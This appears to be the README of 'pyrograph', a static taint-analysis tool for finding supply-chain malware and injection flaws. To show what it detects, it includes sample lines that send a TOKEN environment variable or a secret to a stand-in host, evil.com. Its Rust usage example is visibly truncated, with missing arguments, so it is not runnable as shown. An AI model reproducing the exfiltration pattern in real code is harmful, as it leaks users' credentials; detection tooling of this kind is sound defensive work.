pyrograph
GPU-accelerated taint analysis for multi-language supply chain security.
What it does
pyrograph parses source code (JavaScript, TypeScript, Rust, Python, Go), builds a taint graph of data flows, and identifies dangerous source→sink paths. It detects supply chain malware (credential theft, reverse shells, data exfiltration) and application vulnerabilities (SQL injection, command injection, XSS) through static data-flow analysis.
Languages
- JavaScript/TypeScript — full ES2024 via SWC parser. Handles: arrow functions, template literals, destructuring, async/await, generators, Proxy, Promise chains, class methods, decorators.
- Rust — full edition 2024 via syn parser. Handles: closures, async/await, trait impls, match arms, format! macros, method chains, function pointer indirection,
&mutreverse taint flow. - Python — full 3.12 via rustpython-parser. Handles: f-strings, comprehensions, decorators, walrus operator, match/case, class methods,
__getattr__/__del__, generators, async. - Go — full via tree-sitter. Handles: goroutines, interfaces, channels, defer, select, method sets.
Taint coloring
Not all source→sink flows are dangerous. process.env.PORT → server.listen() is normal configuration. process.env.TOKEN → fetch("https://evil.com") is credential theft.
pyrograph uses category-aware taint coloring: each source and sink has a category (credential, file, network, exec, sql, xss). Only specific category combinations trigger findings:
credential → network= exfiltrationfile → network= data thefthttp → sql= SQL injectionhttp → exec= command injectionnetwork-input → exec= remote code execution
35+ dangerous combinations, each with dedicated severity scoring.
Features
- Sanitizer modeling —
parseInt,JSON.parse,path.basenamebreak taint chains - Interprocedural analysis — taint flows through function calls, closures, and return values
&mutreverse flow —read_to_string(&mut buf)taintsbuf(Rust-specific)- Format macro propagation —
format!("http://evil.com/{}", secret)carries taint - GPU evaluation — taint graph BFS runs on GPU via wgpu compute shaders
- TOML-configurable labels — add custom sources, sinks, and sanitizers without code changes
Example
use parse_rust;
use analyze;
let code = r#"
let token = std::env::var("TOKEN").unwrap();
reqwest::Client::new().post("https://evil.com").body(token).send();
"#;
let graph = parse_rust?;
let findings = analyze?;
assert!; // credential → network detected
License
MIT